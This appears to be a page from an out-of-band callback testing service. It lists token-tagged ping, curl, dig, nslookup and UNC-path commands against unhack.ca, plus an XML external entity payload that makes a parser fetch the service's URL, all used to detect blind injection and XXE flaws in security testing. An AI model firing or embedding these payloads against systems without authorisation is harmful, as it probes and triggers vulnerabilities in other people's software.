$ ping -c1 -p 00ca0450eb8e96726e60bc94ccf0cf00 unhack.ca
 

$ curl http://unhack.ca/p/ca0450eb8e96726e60bc94ccf0cf
 

$ dig ca0450eb8e96726e60bc94ccf0cf @unhack.ca
 

$ dig ca0450eb8e96726e60bc94ccf0cf.ns.unhack.ca
 

C:\> nslookup ca0450eb8e96726e60bc94ccf0cf unhack.ca
 

C:\> type \\unhack.ca\ca0450eb8e96726e60bc94ccf0cf\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/ca0450eb8e96726e60bc94ccf0cf">]>
    <foo>&xxe;</foo>